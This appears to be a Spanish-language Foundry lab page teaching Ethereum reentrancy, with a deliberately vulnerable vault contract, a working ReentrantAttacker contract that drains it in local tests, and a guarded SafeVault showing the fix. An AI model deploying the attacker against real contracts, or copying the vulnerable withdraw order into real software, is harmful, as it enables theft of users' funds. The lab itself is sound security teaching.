Ejecutable local con Foundry
Ataque de reentrada
Reproducir un drenaje por reentrancy y comprobar que checks-effects-interactions con guard lo detiene.
- Duración
- 30–45 min
- Nivel
- Intermedio seguridad
- Pasos
- 1
- Versión
- 3.29.0-alpha.1
Modelo mental
Enviar ETH entrega el control al receptor. Si el contrato pone el balance en cero después de enviar, el receptor puede volver a entrar y retirar otra vez con el mismo saldo.
- 1Fixture
- 2Ataque
- 3Traza
- 4Mitigación
- 5Cleanup
Antes de empezar
- Foundry instalado: forge en el PATH (https://getfoundry.sh).
- Primera ejecución con internet: forge descarga solc 0.8.28 si no lo tienes.
Pasos
Paso 1Ejecutar ataque y mitigación
Comparar en la traza el vault vulnerable y el seguro bajo el mismo atacante.
Fixture y tests mkdir -p .tmp/reentrancy-lab cp -R tools/labs/ethereum-reentrancy-attack-lab/templates/. .tmp/reentrancy-lab/ cd .tmp/reentrancy-lab forge test -vvvvComprueba
- — forge test: 2 passed; 0 failed.
- — En testAttackDrainsVulnerableVault, ReentrantAttacker::receive vuelve a llamar a VulnerableVault::withdraw tres veces anidadas (cuatro retiros de 1 ETH en total); el vault termina en 0 y el atacante con 4 ETH.
- — En testSafeVaultPreservesOtherDeposits, el withdraw anidado revierte con "reentrant", el ataque completo revierte con "send" y SafeVault::balances del depositante sigue en 3e18.
Evidencia esperada
Las dos trazas y los balances de vault y atacante.
El código del laboratorio
Estos son los archivos que ejecutan los pasos, tal como están en el repositorio .
# Ethereum reentrancy attack lab
Version: `2.0.44-alpha.2`
Copy `templates/` into `.tmp/reentrancy-lab` and run the tests with traces. No public network is required or allowed.
```bash
mkdir -p .tmp/reentrancy-lab
cp -R tools/labs/ethereum-reentrancy-attack-lab/templates/. .tmp/reentrancy-lab/
cd .tmp/reentrancy-lab
forge test -vvvv
```
Compare the two traces:
- `testAttackDrainsVulnerableVault`: `receive` re-enters `VulnerableVault::withdraw` before the balance is zeroed; the vault ends at 0 and the attacker with 4 ETH.
- `testSafeVaultPreservesOtherDeposits`: the same attacker hits `SafeVault`; the nested `withdraw` reverts with `reentrant`, the whole attack reverts with `send`, and the vault keeps 3 ETH.
Evidence: failing invariant, call trace, balances before/after, mitigation and cleanup confirmation.
Cleanup: `rm -rf .tmp/reentrancy-lab`.[profile.default]
src = "src"
test = "test"
out = "out"
solc_version = "0.8.28"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
interface IVault {
function deposit() external payable;
function withdraw() external;
}
contract VulnerableVault {
mapping(address => uint256) public balances;
function deposit() external payable { balances[msg.sender] += msg.value; }
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "empty");
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "send");
balances[msg.sender] = 0;
}
}
contract SafeVault {
mapping(address => uint256) public balances;
bool private entered;
function deposit() external payable { balances[msg.sender] += msg.value; }
function withdraw() external {
require(!entered, "reentrant");
entered = true;
uint256 amount = balances[msg.sender];
require(amount > 0, "empty");
balances[msg.sender] = 0;
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "send");
entered = false;
}
}
contract ReentrantAttacker {
IVault public immutable target;
constructor(IVault target_) { target = target_; }
function attack() external payable {
require(msg.value == 1 ether, "seed");
target.deposit{value: 1 ether}();
target.withdraw();
}
receive() external payable {
if (address(target).balance >= 1 ether) target.withdraw();
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import {IVault, VulnerableVault, SafeVault, ReentrantAttacker} from "../src/ReentrancyLab.sol";
contract ReentrancyLabTest {
function testAttackDrainsVulnerableVault() public {
VulnerableVault vault = new VulnerableVault();
vault.deposit{value: 3 ether}();
ReentrantAttacker attacker = new ReentrantAttacker(IVault(address(vault)));
attacker.attack{value: 1 ether}();
require(address(vault).balance == 0, "attack evidence");
require(address(attacker).balance == 4 ether, "drained balance");
}
function testSafeVaultPreservesOtherDeposits() public {
SafeVault vault = new SafeVault();
vault.deposit{value: 3 ether}();
ReentrantAttacker attacker = new ReentrantAttacker(IVault(address(vault)));
try attacker.attack{value: 1 ether}() {
revert("attack on SafeVault should revert");
} catch {}
require(address(vault).balance == 3 ether, "safe balance");
require(vault.balances(address(this)) == 3 ether, "victim deposit intact");
require(address(attacker).balance == 0, "attacker got nothing");
}
receive() external payable {}
}Criterios de aceptación
- forge test muestra 2 passed.
- Puedes señalar en la traza la línea donde ocurre la reentrada.
- Puedes explicar por qué SafeVault resiste incluso sin el guard, gracias al orden de las operaciones.
Limpieza
cd ../..
rm -rf .tmp/reentrancy-labSi algo falla
| Síntoma | Causa | Qué hacer |
|---|---|---|
| No aparecen las trazas | Se usó -vv en vez de -vvvv. | Las trazas de llamadas requieren -vvvv. |
| testSafeVaultPreservesOtherDeposits falla con "attack on SafeVault should revert" | Se cambió SafeVault y volvió a ser vulnerable. | Pon el balance en cero antes de la llamada externa y conserva el guard. |